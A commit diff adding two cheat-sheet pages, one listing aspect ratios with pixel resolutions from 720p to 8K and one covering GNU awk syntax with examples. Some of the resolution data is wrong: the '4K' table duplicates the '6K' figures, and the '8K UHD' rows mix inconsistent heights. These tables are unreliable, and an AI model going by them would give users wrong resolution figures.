mirror of
https://github.com/Fechin/reference.git
synced 2026-12-01 01:14:29 +03:00
Release the latest generator
This commit is contained in:
1 parent
b520119d38
commit
15c93e54ee
484 files changed
+4969
-856
No files matched your search
@@ -0,0 +1,312 @@
|
||||
---
|
||||
title: Aspect Ratio
|
||||
date: 2022-09-21 10:28:43
|
||||
icon: icon-style
|
||||
background: bg-emerald-600
|
||||
tags:
|
||||
- photo
|
||||
- image
|
||||
- aspect
|
||||
- ratio
|
||||
- resolutions
|
||||
categories:
|
||||
- Other
|
||||
intro: |
|
||||
This cheat sheet lists some common aspect ratios and their pixel resolutions. Always confirm your final delivery ratio when shooting.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-2}
|
||||
---------------
|
||||
|
||||
### Introduction
|
||||
- The aspect ratio is the ratio between the width and height of the screen or image
|
||||
- It's usually written as two numbers separated by a colon or "x", ex: 16:9 or 16x9
|
||||
- Which is interpreted as W pixels in width for every H pixel in height.
|
||||
- Resolution is the number of pixels (individual points of color)
|
||||
{.style-round}
|
||||
|
||||
|
||||
### Multi-format of Aspect Ratio
|
||||
|
||||
- [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
- [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/aspect-ratio#TableGenerator)
|
||||
{.cols-4 .style-none}
|
||||
|
||||
|
||||
|
||||
|
||||
Lists of Aspect Ratios {.cols-3}
|
||||
-------------------
|
||||
|
||||
|
||||
|
||||
### 1080p {.row-span-2}
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 864 x 1080 |
|
||||
| 1.25 (5:4) | 1350 x 1080 |
|
||||
| 1.33 (4:3) | 1440 x 1080 |
|
||||
| 1.66 (5:3) | 1800 x 1080 |
|
||||
| 1.78 (16:9) | 1920 x 1080 |
|
||||
| 1.85 | 1920 x 1038 |
|
||||
| 1.90 | 1920 x 1011 |
|
||||
| 2.00 | 1920 x 960 |
|
||||
| 2.35 | 1920 x 817 |
|
||||
| 2.37 | 1920 x 810 |
|
||||
| 2.39 | 1920 x 803 |
|
||||
| 2.40 | 1920 x 800 |
|
||||
| 2.44 | 1920 x 787 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 720p {.row-span-2}
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|------------|
|
||||
| 0.80 (4:5) | 576 x 720 |
|
||||
| 1.25 (5:4) | 900 x 720 |
|
||||
| 1.33 (4:3) | 960 x 720 |
|
||||
| 1.66 (5:3) | 1200 x 720 |
|
||||
| 1.78 (16:9) | 1280 x 720 |
|
||||
| 1.85 | 1280 x 692 |
|
||||
| 1.90 | 1280 x 674 |
|
||||
| 2.00 | 1280 x 640 |
|
||||
| 2.35 | 1280 x 545 |
|
||||
| 2.37 | 1280 x 540 |
|
||||
| 2.39 | 1280 x 536 |
|
||||
| 2.40 | 1280 x 533 |
|
||||
| 2.44 | 1280 x 525 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### Cinema DCP 4K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|-----------------------|-------------|
|
||||
| Flat (1.85) | 3996 x 2160 |
|
||||
| Scope (2.39) | 4096 x 1716 |
|
||||
| Full Container (1.90) | 4096 x 2160 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
### Cinema DCP 2K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|-----------------------|-------------|
|
||||
| Flat (1.85) | 1998 x 1080 |
|
||||
| Scope (2.39) | 2048 x 858 |
|
||||
| Full Container (1.90) | 2048 x 1080 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
### 8K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 3686 x 4608 |
|
||||
| 1.25 (5:4) | 5760 x 4608 |
|
||||
| 1.33 (4:3) | 6144 x 4608 |
|
||||
| 1.66 (5:3) | 7680 x 4608 |
|
||||
| 1.78 (16:9) | 8192 x 4608 |
|
||||
| 1.85 | 8192 x 4428 |
|
||||
| 1.90 | 8192 x 4320 |
|
||||
| 2.00 | 8192 x 4096 |
|
||||
| 2.35 | 8192 x 3486 |
|
||||
| 2.37 | 8192 x 3456 |
|
||||
| 2.39 | 8192 x 3428 |
|
||||
| 2.40 | 8192 x 3413 |
|
||||
| 2.44 | 8192 x 3357 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
### 6K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 2765 x 3456 |
|
||||
| 1.25 (5:4) | 4320 x 3456 |
|
||||
| 1.33 (4:3) | 4608 x 3456 |
|
||||
| 1.66 (5:3) | 5760 x 3456 |
|
||||
| 1.78 (16:9) | 6144 x 3456 |
|
||||
| 1.85 | 6144 x 3321 |
|
||||
| 1.90 | 6144 x 3234 |
|
||||
| 2.00 | 6144 x 3072 |
|
||||
| 2.35 | 6144 x 2614 |
|
||||
| 2.37 | 6144 x 2592 |
|
||||
| 2.39 | 6144 x 2571 |
|
||||
| 2.40 | 6144 x 2560 |
|
||||
| 2.44 | 6144 x 2518 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 4K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 2765 x 3456 |
|
||||
| 1.25 (5:4) | 4320 x 3456 |
|
||||
| 1.33 (4:3) | 4608 x 3456 |
|
||||
| 1.66 (5:3) | 5760 x 3456 |
|
||||
| 1.78 (16:9) | 6144 x 3456 |
|
||||
| 1.85 | 6144 x 3321 |
|
||||
| 1.90 | 6144 x 3234 |
|
||||
| 2.00 | 6144 x 3072 |
|
||||
| 2.35 | 6144 x 2614 |
|
||||
| 2.37 | 6144 x 2592 |
|
||||
| 2.39 | 6144 x 2571 |
|
||||
| 2.40 | 6144 x 2560 |
|
||||
| 2.44 | 6144 x 2518 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 3K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 1382 x 1728 |
|
||||
| 1.25 (5:4) | 2160 x 1728 |
|
||||
| 1.33 (4:3) | 2304 x 1728 |
|
||||
| 1.66 (5:3) | 2880 x 1728 |
|
||||
| 1.78 (16:9) | 3072 x 1728 |
|
||||
| 1.85 | 3072 x 1661 |
|
||||
| 1.90 | 3072 x 1620 |
|
||||
| 2.00 | 3072 x 1536 |
|
||||
| 2.35 | 3072 x 1307 |
|
||||
| 2.37 | 3072 x 1296 |
|
||||
| 2.39 | 3072 x 1285 |
|
||||
| 2.40 | 3072 x 1280 |
|
||||
| 2.44 | 3072 x 1259 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 2K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 922 x 1152 |
|
||||
| 1.25 (5:4) | 1440 x 1152 |
|
||||
| 1.33 (4:3) | 1536 x 1152 |
|
||||
| 1.66 (5:3) | 1920 x 1152 |
|
||||
| 1.78 (16:9) | 2048 x 1152 |
|
||||
| 1.85 | 2048 x 1107 |
|
||||
| 1.90 | 2048 x 1078 |
|
||||
| 2.00 | 2048 x 1024 |
|
||||
| 2.35 | 2048 x 871 |
|
||||
| 2.37 | 2048 x 864 |
|
||||
| 2.39 | 2048 x 858 |
|
||||
| 2.40 | 2048 x 853 |
|
||||
| 2.44 | 2048 x 838 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
### 8K UHD
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 2765 x 3456 |
|
||||
| 1.25 (5:4) | 5400 x 3456 |
|
||||
| 1.33 (4:3) | 5760 x 3456 |
|
||||
| 1.66 (5:3) | 7200 x 3456 |
|
||||
| 1.78 (16:9) | 7680 x 4320 |
|
||||
| 1.85 | 7680 x 4151 |
|
||||
| 1.90 | 7680 x 4042 |
|
||||
| 2.00 | 7680 x 3840 |
|
||||
| 2.35 | 7680 x 3268 |
|
||||
| 2.37 | 7680 x 3240 |
|
||||
| 2.39 | 7680 x 3213 |
|
||||
| 2.40 | 7680 x 3200 |
|
||||
| 2.44 | 7680 x 3148 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 5K
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 2304 x 2880 |
|
||||
| 1.25 (5:4) | 3600 x 2880 |
|
||||
| 1.33 (4:3) | 3840 x 2880 |
|
||||
| 1.66 (5:3) | 4800 x 2880 |
|
||||
| 1.78 (16:9) | 5120 x 2880 |
|
||||
| 1.85 | 5120 x 2768 |
|
||||
| 1.90 | 5120 x 2700 |
|
||||
| 2.00 | 5120 x 2560 |
|
||||
| 2.35 | 5120 x 2179 |
|
||||
| 2.37 | 5120 x 2160 |
|
||||
| 2.39 | 5120 x 2142 |
|
||||
| 2.40 | 5120 x 2133 |
|
||||
| 2.44 | 5120 x 2098 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 4K UHD
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 1728 x 2160 |
|
||||
| 1.25 (5:4) | 2700 x 2160 |
|
||||
| 1.33 (4:3) | 2880 x 2160 |
|
||||
| 1.66 (5:3) | 3600 x 2160 |
|
||||
| 1.78 (16:9) | 3840 x 2160 |
|
||||
| 1.85 | 3840 x 2076 |
|
||||
| 1.90 | 3840 x 2021 |
|
||||
| 2.00 | 3840 x 1920 |
|
||||
| 2.35 | 3840 x 1634 |
|
||||
| 2.37 | 3840 x 1620 |
|
||||
| 2.39 | 3840 x 1607 |
|
||||
| 2.40 | 3840 x 1600 |
|
||||
| 2.44 | 3840 x 1574 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### 3K UHD
|
||||
|
||||
| Aspect Ratio | Resolution |
|
||||
|--------------|-------------|
|
||||
| 0.80 (4:5) | 1296 x 1620 |
|
||||
| 1.25 (5:4) | 2025 x 1620 |
|
||||
| 1.33 (4:3) | 2160 x 1620 |
|
||||
| 1.66 (5:3) | 2700 x 1620 |
|
||||
| 1.78 (16:9) | 2880 x 1620 |
|
||||
| 1.85 | 2880 x 1557 |
|
||||
| 1.90 | 2880 x 1516 |
|
||||
| 2.00 | 2880 x 1440 |
|
||||
| 2.35 | 2880 x 1226 |
|
||||
| 2.37 | 2880 x 1215 |
|
||||
| 2.39 | 2880 x 1205 |
|
||||
| 2.40 | 2880 x 1200 |
|
||||
| 2.44 | 2880 x 1180 |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,777 @@
|
||||
---
|
||||
title: Awk
|
||||
date: 2020-12-31 15:18:34
|
||||
icon: icon-style
|
||||
background: bg-slate-600
|
||||
tags:
|
||||
- bash
|
||||
- text
|
||||
- script
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: |
|
||||
This is a one page quick reference cheat sheet to the [GNU awk](https://www.gnu.org/software/gawk/manual/gawk.html), which covers commonly used awk expressions and commands.
|
||||
---
|
||||
|
||||
Getting started {.cols-3}
|
||||
---------------
|
||||
|
||||
### Have a try
|
||||
```shell script {.wrap}
|
||||
$ awk -F: '{print $1, $NF}' /etc/passwd
|
||||
```
|
||||
----
|
||||
| - | - | - |
|
||||
|---|---------------|---------------------------|
|
||||
| | `-F:` | Colon as a separator |
|
||||
| | `{...}` | Awk program |
|
||||
| | `print` | Prints the current record |
|
||||
| | `$1` | First field |
|
||||
| | `$NF` | Last field |
|
||||
| | `/etc/passwd` | Input data file |
|
||||
{.left-text}
|
||||
|
||||
|
||||
|
||||
### Awk program
|
||||
```
|
||||
BEGIN {<initializations>}
|
||||
<pattern 1> {<program actions>}
|
||||
<pattern 2> {<program actions>}
|
||||
...
|
||||
END {< final actions >}
|
||||
```
|
||||
#### Example
|
||||
```
|
||||
awk '
|
||||
BEGIN { print "\n>>>Start" }
|
||||
!/(login|shutdown)/ { print NR, $0 }
|
||||
END { print "<<<END\n" }
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
|
||||
### Variables {.row-span-2}
|
||||
```bash
|
||||
$1 $2/$(NF-1) $3/$NF
|
||||
▼ ▼ ▼
|
||||
┌──────┬──────────────┬───────┐
|
||||
$0/NR ▶ │ ID │ WEBSITE │ URI │
|
||||
├──────┼──────────────┼───────┤
|
||||
$0/NR ▶ │ 1 │ quickref.me │ awk │
|
||||
├──────┼──────────────┼───────┤
|
||||
$0/NR ▶ │ 2 │ google.com │ 25 │
|
||||
└──────┴──────────────┴───────┘
|
||||
```
|
||||
---
|
||||
|
||||
```
|
||||
# First and last field
|
||||
awk -F: '{print $1,$NF}' /etc/passwd
|
||||
|
||||
# With line number
|
||||
awk -F: '{print NR, $0}' /etc/passwd
|
||||
|
||||
# Second last field
|
||||
awk -F: '{print $(NF-1)}' /etc/passwd
|
||||
|
||||
# Custom string
|
||||
awk -F: '{print $1 "=" $6}' /etc/passwd
|
||||
```
|
||||
See: [Variables](#awk-variables)
|
||||
|
||||
|
||||
|
||||
|
||||
### Awk program examples {.col-span-2 .row-span-2}
|
||||
```
|
||||
awk 'BEGIN {print "hello world"}' # Prints "hello world"
|
||||
awk -F: '{print $1}' /etc/passwd # -F: Specify field separator
|
||||
|
||||
# /pattern/ Execute actions only for matched pattern
|
||||
awk -F: '/root/ {print $1}' /etc/passwd
|
||||
|
||||
# BEGIN block is executed once at the start
|
||||
awk -F: 'BEGIN { print "uid"} { print $1 }' /etc/passwd
|
||||
|
||||
# END block is executed once at the end
|
||||
awk -F: '{print $1} END { print "-done-"}' /etc/passwd
|
||||
```
|
||||
|
||||
|
||||
### Conditions
|
||||
```
|
||||
awk -F: '$3>30 {print $1}' /etc/passwd
|
||||
```
|
||||
See: [Conditions](#awk-conditions)
|
||||
|
||||
|
||||
### Generate 1000 spaces
|
||||
```
|
||||
awk 'BEGIN{
|
||||
while (a++ < 1000)
|
||||
s=s " ";
|
||||
print s
|
||||
}'
|
||||
```
|
||||
See: [Loops](#awk-loops)
|
||||
|
||||
|
||||
|
||||
### Arrays
|
||||
```
|
||||
awk 'BEGIN {
|
||||
fruits["mango"] = "yellow";
|
||||
fruits["orange"] = "orange"
|
||||
for(fruit in fruits) {
|
||||
print "The color of " fruit " is " fruits[fruit]
|
||||
}
|
||||
}'
|
||||
```
|
||||
See: [Arrays](#awk-arrays)
|
||||
|
||||
|
||||
|
||||
### Functions
|
||||
```
|
||||
# => 5
|
||||
awk 'BEGIN{print length("hello")}'
|
||||
# => HELLO
|
||||
awk 'BEGIN{print toupper("hello")}'
|
||||
# => hel
|
||||
awk 'BEGIN{print substr("hello", 1, 3)}'
|
||||
```
|
||||
See: [Functions](#awk-functions)
|
||||
|
||||
|
||||
|
||||
|
||||
Awk Variables {.cols-3}
|
||||
---------
|
||||
|
||||
|
||||
### Build-in variables
|
||||
| - | - |
|
||||
|----------------|-----------------------------------------------------|
|
||||
| `$0` | Whole line |
|
||||
| `$1, $2...$NF` | First, second… last field |
|
||||
| `NR` | Total `N`umber of `R`ecords |
|
||||
| `NF` | `N`number of `F`ields |
|
||||
| `OFS` | `O`utput `F`ield `S`eparator <br> _(default " ")_ |
|
||||
| `FS` | input `F`ield `S`eparator <br> _(default " ")_ |
|
||||
| `ORS` | `O`utput `R`ecord `S`eparator <br> _(default "\n")_ |
|
||||
| `RS` | input `R`ecord `S`eparator <br> _(default "\n")_ |
|
||||
| `FILENAME` | Name of the file |
|
||||
|
||||
|
||||
|
||||
### Expressions
|
||||
| - | - |
|
||||
|---------------------|------------------------------------|
|
||||
| `$1 == "root"` | First field equals root |
|
||||
| `{print $(NF-1)}` | Second last field |
|
||||
| `NR!=1{print $0}` | From 2th record |
|
||||
| `NR > 3` | From 4th record |
|
||||
| `NR == 1` | First record |
|
||||
| `END{print NR}` | Total records |
|
||||
| `BEGIN{print OFMT}` | Output format |
|
||||
| `{print NR, $0}` | Line number |
|
||||
| `{print NR " " $0}` | Line number (tab) |
|
||||
| `{$1 = NR; print}` | Replace 1th field with line number |
|
||||
| `$NF > 4` | Last field > 4 |
|
||||
| `NR % 2 == 0` | Even records |
|
||||
| `NR==10, NR==20` | Records 10 to 20 |
|
||||
| `BEGIN{print ARGC}` | Total arguments |
|
||||
| `ORS=NR%5?",":"\n"` | Concatenate records |
|
||||
|
||||
|
||||
|
||||
|
||||
### Examples
|
||||
Print sum and average
|
||||
```
|
||||
awk -F: '{sum += $3}
|
||||
END { print sum, sum/NR }
|
||||
' /etc/passwd
|
||||
```
|
||||
Printing parameters
|
||||
```
|
||||
awk 'BEGIN {
|
||||
for (i = 1; i < ARGC; i++)
|
||||
print ARGV[i] }' a b c
|
||||
```
|
||||
Output field separator as a comma
|
||||
```
|
||||
awk 'BEGIN { FS=":";OFS=","}
|
||||
{print $1,$2,$3,$4}' /etc/passwd
|
||||
```
|
||||
Position of match
|
||||
```
|
||||
awk 'BEGIN {
|
||||
if (match("One Two Three", "Tw"))
|
||||
print RSTART }'
|
||||
```
|
||||
Length of match
|
||||
```
|
||||
awk 'BEGIN {
|
||||
if (match("One Two Three", "re"))
|
||||
print RLENGTH }'
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Environment Variables
|
||||
| - | - |
|
||||
|-----------|-----------------------------------------------------------|
|
||||
| `ARGC` | Number or arguments |
|
||||
| `ARGV` | Array of arguments |
|
||||
| `FNR` | `F`ile `N`umber of `R`ecords |
|
||||
| `OFMT` | Format for numbers <br> _(default "%.6g")_ |
|
||||
| `RSTART` | Location in the string |
|
||||
| `RLENGTH` | Length of match |
|
||||
| `SUBSEP` | Multi-dimensional array separator <br> _(default "\034")_ |
|
||||
| `ARGIND` | Argument Index |
|
||||
|
||||
|
||||
|
||||
### GNU awk only
|
||||
| - | - |
|
||||
|---------------|-----------------------|
|
||||
| `ENVIRON` | Environment variables |
|
||||
| `IGNORECASE` | Ignore case |
|
||||
| `CONVFMT` | Conversion format |
|
||||
| `ERRNO` | System errors |
|
||||
| `FIELDWIDTHS` | Fixed width fields |
|
||||
|
||||
|
||||
|
||||
### Defining variable
|
||||
```
|
||||
awk -v var1="Hello" -v var2="Wold" '
|
||||
END {print var1, var2}
|
||||
' </dev/null
|
||||
```
|
||||
|
||||
#### Use shell variables
|
||||
```
|
||||
awk -v varName="$PWD" '
|
||||
END {print varName}' </dev/null
|
||||
```
|
||||
|
||||
|
||||
|
||||
Awk Operators {.cols-3}
|
||||
---------
|
||||
|
||||
### Operators
|
||||
|
||||
| - | - |
|
||||
|------------------|-------------|
|
||||
| `{print $1}` | First field |
|
||||
| `$2 == "foo"` | Equals |
|
||||
| `$2 != "foo"` | Not equals |
|
||||
| `"foo" in array` | In array |
|
||||
#### Regular expression
|
||||
| - | - |
|
||||
|-----------------|-------------------|
|
||||
| `/regex/` | Line matches |
|
||||
| `!/regex/` | Line not matches |
|
||||
| `$1 ~ /regex/` | Field matches |
|
||||
| `$1 !~ /regex/` | Field not matches |
|
||||
#### More conditions
|
||||
| - | - |
|
||||
|------------------------|-----|
|
||||
| `($2 <= 4 || $3 < 20)` | Or |
|
||||
| `($1 == 4 && $3 < 20)` | And |
|
||||
|
||||
### Operations
|
||||
#### Arithmetic operations
|
||||
- `+`
|
||||
- `-`
|
||||
- `*`
|
||||
- `/`
|
||||
- `%`
|
||||
- `++`
|
||||
- `--`
|
||||
{.cols-3 .style-none}
|
||||
#### Shorthand assignments
|
||||
- `+=`
|
||||
- `-=`
|
||||
- `*=`
|
||||
- `/=`
|
||||
- `%=`
|
||||
{.cols-3 .style-none}
|
||||
#### Comparison operators
|
||||
- `==`
|
||||
- `!=`
|
||||
- `<`
|
||||
- `>`
|
||||
- `<=`
|
||||
- `>=`
|
||||
{.cols-3 .style-none}
|
||||
|
||||
|
||||
|
||||
### Examples
|
||||
```
|
||||
awk 'BEGIN {
|
||||
if ("foo" ~ "^fo+$")
|
||||
print "Fooey!";
|
||||
}'
|
||||
```
|
||||
#### Not match
|
||||
```
|
||||
awk 'BEGIN {
|
||||
if ("boo" !~ "^fo+$")
|
||||
print "Boo!";
|
||||
}'
|
||||
```
|
||||
#### if in array
|
||||
```
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
if ("foo" in assoc)
|
||||
print "Fooey!";
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Awk Functions {.cols-3}
|
||||
----------
|
||||
### Common functions {.col-span-2}
|
||||
| Function | Description |
|
||||
|-----------------------|---------------------------------------------------------------------------------|
|
||||
| `index(s,t)` | Position in string s where string t occurs, 0 if not found |
|
||||
| `length(s)` | Length of string s (or $0 if no arg) |
|
||||
| `rand` | Random number between 0 and 1 |
|
||||
| `substr(s,index,len)` | Return len-char substring of s that begins at index (counted from 1) |
|
||||
| `srand` | Set seed for rand and return previous seed |
|
||||
| `int(x)` | Truncate x to integer value |
|
||||
| `split(s,a,fs)` | Split string s into array a split by fs, returning length of a |
|
||||
| `match(s,r)` | Position in string s where regex r occurs, or 0 if not found |
|
||||
| `sub(r,t,s)` | Substitute t for first occurrence of regex r in string s (or $0 if s not given) |
|
||||
| `gsub(r,t,s)` | Substitute t for all occurrences of regex r in string s |
|
||||
| `system(cmd)` | Execute cmd and return exit status |
|
||||
| `tolower(s)` | String s to lowercase |
|
||||
| `toupper(s)` | String s to uppercase |
|
||||
| `getline` | Set $0 to next input record from current input file. |
|
||||
|
||||
|
||||
### User defined function
|
||||
```
|
||||
awk '
|
||||
# Returns minimum number
|
||||
function find_min(num1, num2){
|
||||
if (num1 < num2)
|
||||
return num1
|
||||
return num2
|
||||
}
|
||||
# Returns maximum number
|
||||
function find_max(num1, num2){
|
||||
if (num1 > num2)
|
||||
return num1
|
||||
return num2
|
||||
}
|
||||
# Main function
|
||||
function main(num1, num2){
|
||||
result = find_min(num1, num2)
|
||||
print "Minimum =", result
|
||||
|
||||
result = find_max(num1, num2)
|
||||
print "Maximum =", result
|
||||
}
|
||||
# Script execution starts here
|
||||
BEGIN {
|
||||
main(10, 60)
|
||||
}
|
||||
'
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Awk Arrays {.cols-3}
|
||||
---------
|
||||
|
||||
|
||||
|
||||
### Array with index
|
||||
```
|
||||
awk 'BEGIN {
|
||||
arr[0] = "foo";
|
||||
arr[1] = "bar";
|
||||
print(arr[0]); # => foo
|
||||
delete arr[0];
|
||||
print(arr[0]); # => ""
|
||||
}'
|
||||
```
|
||||
|
||||
### Array with key
|
||||
```
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
print("baz" in assoc); # => 0
|
||||
print("foo" in assoc); # => 1
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
### Array with split
|
||||
```
|
||||
awk 'BEGIN {
|
||||
split("foo:bar:baz", arr, ":");
|
||||
for (key in arr)
|
||||
print arr[key];
|
||||
}'
|
||||
```
|
||||
|
||||
### Array with asort
|
||||
```
|
||||
awk 'BEGIN {
|
||||
arr[0] = 3
|
||||
arr[1] = 2
|
||||
arr[2] = 4
|
||||
n = asort(arr)
|
||||
for (i = 1; i <= n ; i++)
|
||||
print(arr[i])
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Multi-dimensional
|
||||
```
|
||||
awk 'BEGIN {
|
||||
multidim[0,0] = "foo";
|
||||
multidim[0,1] = "bar";
|
||||
multidim[1,0] = "baz";
|
||||
multidim[1,1] = "boo";
|
||||
}'
|
||||
```
|
||||
|
||||
### Multi-dimensional iteration
|
||||
```
|
||||
awk 'BEGIN {
|
||||
array[1,2]=3;
|
||||
array[2,3]=5;
|
||||
for (comb in array) {
|
||||
split(comb,sep,SUBSEP);
|
||||
print sep[1], sep[2],
|
||||
array[sep[1],sep[2]]
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
|
||||
Awk Conditions {.cols-3}
|
||||
----------
|
||||
|
||||
### if-else statement
|
||||
```
|
||||
awk -v count=2 'BEGIN {
|
||||
if (count == 1)
|
||||
print "Yes";
|
||||
else
|
||||
print "Huh?";
|
||||
}'
|
||||
```
|
||||
#### Ternary operator
|
||||
```
|
||||
awk -v count=2 'BEGIN {
|
||||
print (count==1) ? "Yes" : "Huh?";
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
### Exists
|
||||
```
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
if ("foo" in assoc)
|
||||
print "Fooey!";
|
||||
}'
|
||||
```
|
||||
#### Not exists
|
||||
```
|
||||
awk 'BEGIN {
|
||||
assoc["foo"] = "bar";
|
||||
assoc["bar"] = "baz";
|
||||
if ("Huh" in assoc == 0 )
|
||||
print "Huh!";
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
### switch
|
||||
```
|
||||
awk -F: '{
|
||||
switch (NR * 2 + 1) {
|
||||
case 3:
|
||||
case "11":
|
||||
print NR - 1
|
||||
break
|
||||
|
||||
case /2[[:digit:]]+/:
|
||||
print NR
|
||||
|
||||
default:
|
||||
print NR + 1
|
||||
|
||||
case -1:
|
||||
print NR * -1
|
||||
}
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
|
||||
Awk Loops {.cols-3}
|
||||
----------
|
||||
|
||||
### for...i
|
||||
```
|
||||
awk 'BEGIN {
|
||||
for (i = 0; i < 10; i++)
|
||||
print "i=" i;
|
||||
}'
|
||||
```
|
||||
#### Powers of two between 1 and 100
|
||||
```
|
||||
awk 'BEGIN {
|
||||
for (i = 1; i <= 100; i *= 2)
|
||||
print i
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
### for...in
|
||||
```
|
||||
awk 'BEGIN {
|
||||
assoc["key1"] = "val1"
|
||||
assoc["key2"] = "val2"
|
||||
for (key in assoc)
|
||||
print assoc[key];
|
||||
}'
|
||||
```
|
||||
#### Arguments
|
||||
```
|
||||
awk 'BEGIN {
|
||||
for (argnum in ARGV)
|
||||
print ARGV[argnum];
|
||||
}' a b c
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Examples {.row-span-3}
|
||||
#### Reverse records
|
||||
```
|
||||
awk -F: '{ x[NR] = $0 }
|
||||
END {
|
||||
for (i = NR; i > 0; i--)
|
||||
print x[i]
|
||||
}
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
#### Reverse fields
|
||||
```
|
||||
awk -F: '{
|
||||
for (i = NF; i > 0; i--)
|
||||
printf("%s ",$i);
|
||||
print ""
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
#### Sum by record
|
||||
```
|
||||
awk -F: '{
|
||||
s=0;
|
||||
for (i = 1; i <= NF; i++)
|
||||
s += $i;
|
||||
print s
|
||||
}' /etc/passwd
|
||||
```
|
||||
|
||||
|
||||
#### Sum whole file
|
||||
```
|
||||
awk -F: '
|
||||
{for (i = 1; i <= NF; i++)
|
||||
s += $i;
|
||||
};
|
||||
END{print s}
|
||||
' /etc/passwd
|
||||
```
|
||||
|
||||
|
